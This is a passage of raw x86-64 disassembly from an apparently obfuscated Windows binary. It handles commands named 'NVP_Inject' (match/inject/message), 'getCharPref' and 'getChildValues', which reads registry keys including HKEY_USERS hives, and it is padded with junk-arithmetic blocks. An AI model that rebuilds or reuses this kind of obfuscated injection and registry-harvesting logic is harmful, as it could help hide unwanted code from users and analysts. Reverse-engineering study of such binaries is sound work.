jne 0x140065d9c
test r14, r14
je 0x140067628
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140067628
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x1400664d1
test r14, r14
je 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x990], rax
lea rdx, str.match
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0x9a0], rax
cmp rax, r12
je 0x140066482
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x9b0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0x9c0], rax
cmp rax, r12
je 0x140066482
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x9d0], rax
lea rdx, str.message
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0x9e0], rax
cmp rax, r12
je 0x140066482
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x9f0], rax
lea rdx, str.match
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xa00], rax
cmp byte [rax + 8], 1
jne 0x140066482
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa10], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xa20], rax
cmp byte [rax + 8], 1
jne 0x140066482
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa30], rax
lea rdx, str.message
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xa40], rax
cmp byte [rax + 8], 4
jne 0x140066482
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa50], rax
lea rdx, str.message
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xa60], rax
lea rdx, [rsp + 0x5360]
mov rcx, rax
call fcn.140038e30
nop
mov r11d, dword [0x1401c3d80]
lea ecx, [r11 + 2]
lea eax, [r11 + 1]
imul ecx, eax
imul ecx, r11d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x17
jne 0x140066018
mov r8d, 0xc1
mov dword [rsp + 0x284], r8d
mov r10d, edi
mov dword [rsp + 0x294], edi
cmp r10d, r8d
jge 0x140066018
mov r9d, edi
mov dword [rsp + 0x28c], edi
nop word [rax + rax]
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x14006600b
mov ecx, edi
mov dword [rsp + 0x180], ecx
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x140065ffe
mov eax, r9d
imul eax, r10d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x284], r8d
inc ecx
jmp 0x140065fcf
inc r9d
mov dword [rsp + 0x28c], r9d
jmp 0x140065fc0
inc r10d
mov dword [rsp + 0x294], r10d
jmp 0x140065fa8
mov qword [rsp + 0x2e8], rdi
lea ecx, [r11 + 1]
imul ecx, r11d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xa
jne 0x140066095
mov eax, 0xe2
mov dword [rsp + reloc.OLEAUT32.dll_OleTranslateColor], eax
mov r8d, LoadRegTypeLib
mov dword [rsp + 0x228], r8d
nop
test eax, eax
je 0x14006608c
test r8d, r8d
je 0x14006608c
mov ecx, r8d
mov dword [rsp + 0x6a8], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x228], edx
mov eax, ecx
mov dword [rsp + reloc.OLEAUT32.dll_OleTranslateColor], ecx
jmp 0x140066060
add eax, r8d
mov dword [0x1401c3d80], eax
lea rcx, [rsp + 0x5360]
cmp qword [rsp + 0x5378], 0x10
cmovae rcx, qword [rsp + 0x5360]
mov qword [rsp + 0xa70], rcx
mov rdx, qword [rsp + 0x5370]
test dl, 3
jne 0x140066425
lea r8, [rsp + 0x2e8]
call fcn.14001fbe0
mov byte [rsp + 0x90], al
test al, al
je 0x140066425
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rdi
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x140]
call fcn.140032330
nop
mov qword [rsp + 0x2f8], rdi
lea rcx, [rsp + 0x5360]
cmp qword [rsp + 0x5378], 0x10
cmovae rcx, qword [rsp + 0x5360]
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x140]
mov r8, rbx
mov rdx, qword [rsp + 0x5370]
call fcn.14001fc70
test al, al
jne 0x1400661eb
test rbx, rbx
je 0x14006618e
mov rcx, rbx
call fcn.1400cdaa0
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rdi
lea rcx, [rsp + 0x5360]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5340]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x140]
call fcn.140032330
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa80], rax
lea rdx, str.match
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xa90], rax
mov rcx, rax
call fcn.1400390c0
mov ebx, eax
mov dword [rsp + 0x4b8], eax
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 6
jne 0x140066314
mov r9d, edi
mov dword [rsp + 0x280], edi
nop dword [rax]
test r8d, r8d
je 0x140066314
inc r9d
mov dword [rsp + 0x280], r9d
mov eax, r8d
and eax, 0x80000001
jge 0x1400662a5
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400662bc
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401c3d80], eax
jmp 0x1400662cb
lea r8d, [r8*2 + 1]
mov dword [0x1401c3d80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x1400662ef
sub ecx, 2
je 0x1400662fa
dec ecx
je 0x140066304
jmp 0x14006630f
add r8d, 2
mov dword [0x1401c3d80], r8d
inc r8d
mov dword [0x1401c3d80], r8d
add r8d, 2
mov dword [0x1401c3d80], r8d
jmp 0x140066280
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xaa0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xab0], rax
mov rcx, rax
call fcn.1400390c0
mov dword [rsp + 0x7a8], eax
lea r9, [rsp + 0x140]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r13 + 0x40]
call fcn.14005ced0
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov r8d, dword [0x1401c3d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
and ecx, 0x8000000f
jge 0x14006639d
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 5
jne 0x1400663e9
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x2f4
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov qword [rsp + 0xac0], rax
mov rcx, rax
call fcn.1400cebfc
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x140066413
call fcn.1400cdaa0
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rdi
lea rcx, [rsp + 0x5360]
call fcn.1400013b0
jmp 0x140067628
lea rcx, [rsp + 0x5360]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5340]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5340]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067774
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140066736
test r14, r14
je 0x140067628
xor r15b, r15b
mov byte [rsp + 0x78], r15b
lea rcx, [rsp + 0x160]
call fcn.1400020d0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xad0], rax
lea rdx, [0x14015277c]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xae0], rax
cmp byte [rax + 8], 4
jne 0x140066715
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xaf0], rax
lea rdx, [0x14015277c]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xb00], rax
lea rdx, [rsp + 0x5380]
mov rcx, rax
call fcn.140038e30
nop
mov rax, qword [rsp + 0x5390]
mov qword [rsp + 0xb10], rax
lea r8, [rsp + 0x5380]
cmp qword [rsp + 0x5398], 0x10
cmovae r8, qword [rsp + 0x5380]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x4c8], ebx
test eax, eax
je 0x1400666ca
mov qword [rsp + 0x3c0], rdi
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x3c0]
call fcn.140032330
nop
mov rax, qword [rsp + 0x5390]
mov qword [rsp + 0xb20], rax
lea r8, [rsp + 0x5380]
cmp qword [rsp + 0x5398], 0x10
cmovae r8, qword [rsp + 0x5380]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x3c0]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1400666a5
mov r8, qword [rsp + 0x3c8]
sub r8, rbx
mov qword [rsp + 0xb30], r8
mov rdx, rbx
lea rcx, [rsp + 0x6c0]
call fcn.140020080
mov qword [rsp + 0xb40], rax
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.140002230
nop
lea rcx, [rsp + 0x6c0]
call fcn.1400021b0
mov r15b, 1
mov byte [rsp + 0x78], r15b
test rbx, rbx
je 0x1400666ca
mov rcx, rbx
call fcn.1400cdaa0
mov qword [rsp + 0x3c0], rdi
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
lea rcx, [rsp + 0x5380]
call fcn.1400013b0
test r15b, r15b
je 0x140066715
mov rcx, qword [rsp + 0x160]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x6b8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb50], rax
test rax, rax
jne 0x140066706
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
jmp 0x140066724
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x160]
call fcn.1400021b0
jmp 0x140067628
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140066773
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f0
call fcn.14006c1f0
test r14, r14
je 0x140067628
mov r15d, 1
mov word [r14], r15w
jmp 0x140067628
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140066883
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb60], rax
lea rdx, str.message
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xb70], rax
cmp byte [rax + 8], 4
jne 0x140066866
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb80], rax
lea rdx, str.message
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xb90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xba0], rdx
lea rcx, [rsp + 0x6d0]
call fcn.1400030b0
nop
test r14, r14
je 0x140066823
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov ecx, dword [0x1401c3d80]
lea edx, [rcx + 2]
lea eax, [rcx + 1]
imul edx, eax
imul edx, ecx
and edx, 0x80000007
jge 0x140066844
dec edx
or edx, 0xfffffff8
inc edx
cmp edx, 7
jne 0x140066854
call fcn.1400ce478
mov dword [0x1401c3d80], eax
lea rcx, [rsp + 0x6d0]
call fcn.1400021b0
jmp 0x140067628
test r14, r14
je 0x140067628
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140067628
mov r8d, dword [0x1401c3d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xd
jne 0x140066906
mov eax, 0xd9
mov dword [rsp + 0x238], eax
mov r8d, 0x31
mov dword [rsp + 0x1ac], r8d
nop
test eax, eax
je 0x1400668fc
test r8d, r8d
je 0x1400668fc
mov ecx, r8d
mov dword [rsp + 0x4d8], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x1ac], edx
mov eax, ecx
mov dword [rsp + 0x238], ecx
jmp 0x1400668d0
add r8d, eax
mov dword [0x1401c3d80], r8d
test r14, r14
je 0x14006691a
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 3
jne 0x140067628
mov dword [rsp + 0x1b4], edi
nop
test r8d, r8d
je 0x140067628
inc edi
mov dword [rsp + 0x1b4], edi
mov eax, r8d
and eax, 0x80000001
jge 0x140066973
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14006698a
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401c3d80], eax
jmp 0x140066999
lea r8d, [r8*2 + 1]
mov dword [0x1401c3d80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x1400669bd
sub ecx, 2
je 0x1400669c8
dec ecx
je 0x1400669d2
jmp 0x1400669dd
add r8d, 2
mov dword [0x1401c3d80], r8d
inc r8d
mov dword [0x1401c3d80], r8d
add r8d, 2
mov dword [0x1401c3d80], r8d
jmp 0x140066950
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xbb0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xbc0], rax
cmp byte [rax + 8], 4
jne 0x140067628
test r14, r14
je 0x140067628
mov qword [rsp + 0x188], rdi
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xbd0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0xbe0], rax
cmp rax, r12
je 0x140066d25
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xbf0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xc00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc10], rdx
lea rcx, [rsp + 0x168]
call fcn.1400030b0
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x168]
call fcn.140003510
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc20], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xc30], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xc40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc50], rdx
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x828], eax
test eax, eax
je 0x140066bf3
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
lea rcx, [rsp + 0x168]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x188]
call fcn.14001a9d0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x140066ba1
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067774
mov ebx, edi
mov dword [rsp + 0x298], ebx
mov dword [rsp + 0x110], 0x7ffe
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003510
mov r12, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r12, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xc60], r12
mov ecx, 0x7ffe
call fcn.1400cd108
mov r15, rax
mov qword [rsp + 0xc70], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400d2f00
nop word [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x298], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x110]
mov r8, r15
mov rcx, qword [rsp + 0x6e0]
call r12
mov dword [rsp + 0x4e8], eax
test eax, eax
jne 0x140066cef
mov rdx, r15
lea rcx, [rsp + 0x6f0]
call fcn.1400030b0
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.140027510
nop
lea rcx, [rsp + 0x6f0]
call fcn.1400021b0
xor edx, edx
mov r8d, 0x7ffe
mov rcx, r15
call fcn.1400d2f00
mov dword [rsp + 0x110], 0x7ffe
jmp 0x140066c60
cmp eax, 0x103
je 0x140066d12
mov rax, qword [rsp + 0x190]
sub rax, qword [rsp + 0x188]
test rax, 0xfffffffffffffff8
jne 0x140066d12
xor bl, bl
jmp 0x140066d14
mov bl, 1
mov byte [rsp + 0x51], bl
lea rcx, [rsp + 0x168]
jmp 0x140066e0a
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003510
lea rdx, str.param
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x140066da9
call fcn.140039730
mov qword [rsp + 0xc80], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xc90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca0], rdx
lea rcx, [rsp + 0x308]
call fcn.1400030b0
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x308]
call fcn.14004b080
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x308]
jmp 0x140066e0a
call fcn.140039730
mov qword [rsp + 0xcb0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xcc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcd0], rdx
lea rcx, [rsp + 0x318]
call fcn.1400030b0
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x318]
call fcn.14004ac40
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x318]
call fcn.1400021b0
test bl, bl
je 0x140067007
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xa
jne 0x140066e4e
dec r8d
mov dword [0x1401c3d80], r8d
lea rdx, [0x140152644]
lea rcx, [rsp + 0xc0]
call fcn.140002110
nop
mov rbx, qword [rsp + 0x188]
mov qword [rsp + 0x720], rbx
cmp rbx, qword [rsp + 0x190]
je 0x140066f49
lea rdx, [0x1401526a8]
lea rcx, [rsp + 0x338]
call fcn.1400030b0
nop
lea rdx, [0x1401526ac]
lea rcx, [rsp + 0x328]
call fcn.1400030b0
nop
mov r8, rbx
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x710]
call fcn.14000fc80
nop
lea r8, [rsp + 0x338]
mov rdx, rax
lea rcx, [rsp + 0x700]
call fcn.14000fc80
mov qword [rsp + 0xce0], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x6c8], r8d
mov qword [rsp + 0xcf0], rdx
lea rcx, [rsp + 0xc0]
call fcn.140010740
nop
lea rcx, [rsp + 0x700]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x710]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x328]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x338]
call fcn.1400021b0
add rbx, 8
jmp 0x140066e6b
mov rax, qword [rsp + 0xc0]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x4f8], r8d
dec r8d
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0xc0]
call fcn.14001a5c0
nop
lea r8, [0x140152688]
mov rdx, rax
lea rcx, [rsp + 0x730]
call fcn.14001a660
mov qword [rsp + 0xd00], rax
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.140002230
nop
lea rcx, [rsp + 0x730]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x740]
call fcn.1400021b0
mov rcx, qword [rsp + 0xc0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x7b8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd10], rax
test rax, rax
jne 0x140066feb
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
lea rcx, [rsp + 0xc0]
call fcn.1400021b0
jmp 0x140067016
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x188]
call fcn.14001a9d0
jmp 0x140067628
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 8
jne 0x140067063
mov dword [rsp + 0x26f0], edi
mov dword [rsp + 0x1240], edi
mov dword [rsp + 0x11e0], edi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd20], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xd30], rax
cmp byte [rax + 8], 4
jne 0x140067628
test r14, r14
je 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd40], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xd50], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd60], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xd70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd80], rdx
lea rcx, [rsp + 0xe8]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd90], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xda0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb0], rdx
lea rcx, [rsp + 0xc8]
call fcn.1400030b0
nop
mov rbx, rdi
mov qword [rsp + 0x120], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xdc0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0xdd0], rax
cmp rax, r12
je 0x140067303
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xde0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xdf0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe00], rdx
lea rcx, [rsp + 0x348]
call fcn.1400030b0
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x120], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x348]
call fcn.140003510
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x120], rbx
call fcn.140061bd0
test al, al
jne 0x1400672cb
mov ebx, edi
mov dword [rsp + 0x248], ebx
cmp ebx, 0x1e
jge 0x1400672cb
mov r10d, edi
mov dword [rsp + 0x1bc], edi
nop dword [rax]
cmp r10d, 3
jge 0x1400672c4
lea r15d, [r10 + 1]
lea ecx, [rbx + 1]
mov r8d, dword [0x1401c3d80]
mov eax, r8d
cdq
idiv ecx
mov r9d, edx
mov eax, r8d
sub eax, ebx
imul r9d, eax
mov eax, r8d
cdq
idiv r15d
add r9d, eax
sub r9d, r10d
movsxd rax, ebx
lea rcx, [rax + rax*2]
movsxd rax, r10d
add rcx, rax
mov dword [rsp + rcx*4 + 0x5750], r9d
mov edx, r9d
lea rcx, [0x14014c428]
call fcn.1400ce3cc
mov r10d, r15d
mov dword [rsp + 0x1bc], r15d
jmp 0x140067260
inc ebx
jmp 0x140067243
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x750], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400672fb
mov rdx, qword [rsp + 0x750]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x120]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x14006747c
lea rcx, [rsp + 0x138]
call fcn.1400020d0
nop
test rbx, rbx
je 0x140067359
mov r9, rbx
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x138]
call fcn.140049d80
mov rdi, qword [rsp + 0x40]
jmp 0x14006740c
lea rax, [rsp + 0x760]
mov qword [rsp + 0xe10], rax
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x760]
call fcn.140002110
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401bed48]
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x770]
call fcn.140049660
mov qword [rsp + 0xe20], rax
mov rdx, rax
lea rcx, [rsp + 0x138]
call fcn.140002230
nop
mov rcx, qword [rsp + 0x770]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400673f1
mov rdx, qword [rsp + 0x780]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdi, qword [rsp + 0x40]
jmp 0x14006740c
mov rcx, qword [rsp + 0x138]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x508], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe30], rax
test rax, rax
jne 0x140067436
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
mov rcx, qword [rsp + 0x138]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400675bc
mov rdx, qword [rsp + 0x7a0]
mov rcx, qword [rdx]
